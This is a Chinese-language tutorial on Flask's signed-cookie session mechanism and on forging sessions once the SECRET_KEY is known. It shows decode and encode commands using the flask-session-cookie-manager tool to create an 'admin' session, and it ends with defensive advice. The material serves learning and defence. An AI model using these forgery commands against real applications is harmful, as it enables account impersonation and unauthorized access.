session机制

由于HTTP本身是一种无状态的协议,意味着用户向我们的应用提供了用户名和密码来进行用户认证,认证通过后HTTP协议不会记录下认证后的状态,那么下一次请求时,用户还要再一次进行认证,因为根据HTTP协议,我们并不知道是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在用户首次登录成功后,在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这是传统的基于session认证的过程

image-20240328144447173

flask session存储方式

分为两种:

  • 直接存储在客户端的cookies中,而这样会产生一定的安全问题
  • 存储在服务端,如:redis,memcached,mysql等等

flask session的工作原理

会话数据主要通过flask序列化为json并签名后存储在客户端的cookie中,而当用户每次请求时,flask会验证客户端发送的cookie的签名是否与服务器的SECRET_KEY匹配。如果签名无效,则会被丢弃。

flask的session格式

flask的session格式一般是由base64加密的session数据(经过了json、zlib压缩处理的字符串)、时间戳、签名组成的:

1
2
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 时间戳 签名

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话将会过期,变为无效会话。

签名:是利用Hmac算法,将session数据和时间戳加上SECRET_KEY加密而成的,用来保证数据没有被修改。

flask session伪造

上面我们说到flask session是利用hmac算法将session数据、时间戳加上SECRET_KEY签名形成的,那么我们要进行session伪造就需要得到密钥SECRET_KEY,如果知道secret_key我们就可以轻松进行session伪造。

session伪造工具:flask-session-cookie-manager

工具利用:

  • kali安装

    1
    git clone https://github.com/noraj/flask-session-cookie-manager.git && cd flask-session-cookie-manager
  • 解码

    1
    2
    3
    $ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'

    {u'username': 'admin', u'number': '326410031505'}

    -c:session数据

    -s:密钥secret_key

  • 编码

    1
    2
    3
    $ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'

    eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

防御措施

  • 保护 SECRET_KEY

    • 避免硬编码在代码中,使用环境变量注入。

    • 禁止通过 Git 等版本控制泄露。

    • 定期更换密钥,使历史 Session 失效。

  • 服务端存储

    使用 Flask-Session 扩展将会话数据存储于服务端,避免客户端篡改。

  • HTTPS 传输

    防止 Cookie 在传输过程中被窃取(启用 SecureHttpOnly 属性)。